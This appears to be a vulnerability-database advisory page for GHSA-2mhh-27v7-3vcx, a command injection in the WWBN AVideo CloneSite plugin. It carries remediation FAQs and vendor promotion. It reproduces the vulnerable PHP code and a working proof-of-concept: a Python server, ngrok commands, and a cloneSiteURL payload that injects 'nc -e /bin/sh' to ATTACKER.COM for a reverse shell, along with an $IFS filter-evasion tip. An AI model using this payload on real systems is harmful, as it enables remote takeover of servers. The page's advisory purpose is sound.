Which packages are affected by GHSA-2mhh-27v7-3vcx?

GHSA-2mhh-27v7-3vcx affects the following packages: wwbn/avideo (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-2mhh-27v7-3vcx?

No patched version of wwbn/avideo has shipped for GHSA-2mhh-27v7-3vcx yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect GHSA-2mhh-27v7-3vcx in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-2mhh-27v7-3vcx if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-2mhh-27v7-3vcx?

O3 pinpoints whether GHSA-2mhh-27v7-3vcx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-2mhh-27v7-3vcx actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-2mhh-27v7-3vcx, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-2mhh-27v7-3vcx?

GHSA-2mhh-27v7-3vcx has an EPSS (Exploit Prediction Scoring System) score of 6.5%, placing it in the 93th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-2mhh-27v7-3vcx?

GHSA-2mhh-27v7-3vcx is classified as CWE-77 (CWE-77). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

Description

WWBN AVideo Authenticated RCE

A command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854 which affects WWBN Avideo up to version 12.3

Vulnerable Code

/plugin/CloneSite/cloneClient.json.php

$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));

// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);

The $objClone->cloneSiteURL is not properly sanitized.

Exploit Proof-of-Concept

avidexploit.py

from http.server import BaseHTTPRequestHandler, HTTPServer
import time

hostName = "localhost"
serverPort = 8080

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "application/json")
        self.end_headers()
        self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))

if __name__ == "__main__":        
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")

Run in command line

$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS

Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection

http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#

It is important to not use white spaces for the exploit to work. Replace whitespace with $IFS when adding arguments to your RCE
